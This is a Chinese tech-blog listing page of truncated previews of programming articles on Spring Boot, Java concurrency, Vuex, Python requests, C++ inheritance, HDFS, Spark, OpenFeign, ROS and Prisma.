基于sprinmgboot实现实习管理系统的设计与实现演示 摘要 随着信息化时代的到来&#xff0c;管理系统都趋向于智能化、系统化&#xff0c;实习管理也不例外&#xff0c;但目前国内仍都使用人工管理&#xff0c;市场规模越来越大&#xff0c;同时信息量也越来越庞大&#xff0c;…

Condition原码分析及实现原理

一、引言 Java作为一种广泛应用于企业级开发的编程语言&#xff0c;其内部机制和特性被许多开发者所关注。本文将深入分析Java Condition原码&#xff0c;以及Condition接口的实现原理&#xff0c;为大家提供一个更深入的了解。 二、Condition概述 Condition是Java并发编程中一…

【hacker送书第5期】SQL Server从入门到精通(第5版)

第5期图书推荐 内容简介作者简介图书目录参与方式 内容简介 SQL Server从入门到精通&#xff08;第5版&#xff09;》从初学者角度出发&#xff0c;通过通俗易懂的语言、丰富多彩的实例&#xff0c;详细介绍了SQL Server开发所必需的各方面技术。全书分为4篇共19章&#xff0c;…

jenkins使用nexus插件

nexus介绍 Nexus 是一个强大的仓库管理工具&#xff0c;用于管理和分发 Maven、npm、Docker 等软件包。它提供了一个集中的存储库&#xff0c;用于存储和管理软件包&#xff0c;并提供了版本控制、访问控制、构建和部署等功能。 Nexus 可以帮助开发团队提高软件包管理的效率和…

vue项目中通过vuex管理数据

目录 1.前言&#xff1a; 2.vuex的基础用法&#xff1a; 1.构建与挂载vue 基础模板渲染 构建仓库 2.mutations的使用 1.介绍 ​编辑 2.案列&#xff1a; 3.传参 4.辅助函数mapMutations&#xff1a; 3.module分对象的写法 介绍 建立模块&#xff1a; 访问数据的方…

python接口自动化测试之requests库的基础使用

简单介绍 requests库简单易用的HTTP库 Get请求 格式&#xff1a; requests.get(url) 注意&#xff1a;若需要传请求参数&#xff0c;可直接在 url 最后的 ? 后面&#xff0c;也可以调用 get() 时多加一个参数 params &#xff0c;传入请求参数&#xff0c;注意需要是 dict…

0基础学java-day8

一、项目-零钱通 1 项目开发流程说明 1.1 项目需求说明 使用 Java 开发 零钱通项目 , 可以完成收益入账&#xff0c;消费&#xff0c;查看明细&#xff0c;退出系统等功能. 1.2 项目的界面 化繁为简. 1) 先完成显示菜单&#xff0c;并可以选择 2) 完成零钱通明细. 3) 完成…

C++学习寄录(八.继承)

继承的语法&#xff1a;class 子类 : 继承方式 父类 class A : public B; A 类称为子类 或 派生类 B 类称为父类 或 基类 1.基本使用 未使用继承的代码比较冗余重复 #include <iostream> #include <fstream> #include <string> #include <chrono>…

leetcode:循环队列

题目描述 题目链接&#xff1a;622. 设计循环队列 - 力扣&#xff08;LeetCode&#xff09; 题目分析 我们开辟空间的时候多开一个&#xff0c;k是队列的长度&#xff0c;我们开k1个空间&#xff0c;定义一个front指向头&#xff0c;back的下一个指向尾 当frontback的时候&am…

八、hdfs文件系统副本块数量的配置

1、配置方式 2、实际操作演示 &#xff08;1&#xff09;在Hadoop用户的根目录下创建text.txt文件 &#xff08;2&#xff09;上传文件 hadoopnode1:~$ hdfs dfs -ls hdfs://node1:8020/ Found 4 items drwxr-xr-x - hadoop supergroup 0 2023-11-21 23:06 hdfs:/…

Spark经典案例分享

Spark经典案例 链接操作案例二次排序案例 链接操作案例 案例需求 数据介绍 代码如下&#xff1a; package base.charpter7import org.apache.hadoop.conf.Configuration import org.apache.hadoop.fs.{FileSystem, Path} import org.apache.spark.SparkContext import org.a…

springcloud==openfeign

单独使用 创建一个服务端 import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.Path…

如何在代码中启动与关闭ROS节点

在ROS开发中&#xff0c;节点的管理是很重要的一部分&#xff0c;其中有一些节点大部分时候用不到&#xff0c;只会在特定情况下被启动&#xff08;比如建图节点&#xff09;同时这些节点在使用完后还需要被关闭&#xff0c;因此我们就需要在程序中对这些节点进行启动与关闭的管…

【C++】继承(上) 继承的基本概念 | 子类的默认成员函数

一、继承 概念 继承(inheritance)是一种面向对象编程的概念&#xff0c;它允许一个类&#xff08;称为子类或派生类&#xff09;继承另一个类&#xff08;称为父类或基类&#xff09;的特征和行为。子类可以获得父类的成员函数和变量&#xff0c;而不需要重新编写它们。子类还…

【GraphQL】什么是Prisma?

本页提供了Prisma及其工作原理的高级概述。 什么是Prisma&#xff1f; Prisma是一个开源的下一代ORM。它由以下部分组成&#xff1a; Prisma客户端&#xff1a;Node.js和TypeScript的自动生成和类型安全查询生成器Prisma迁移&#xff1a;迁移系统Prisma Studio:GUI&#xff0…
最新文章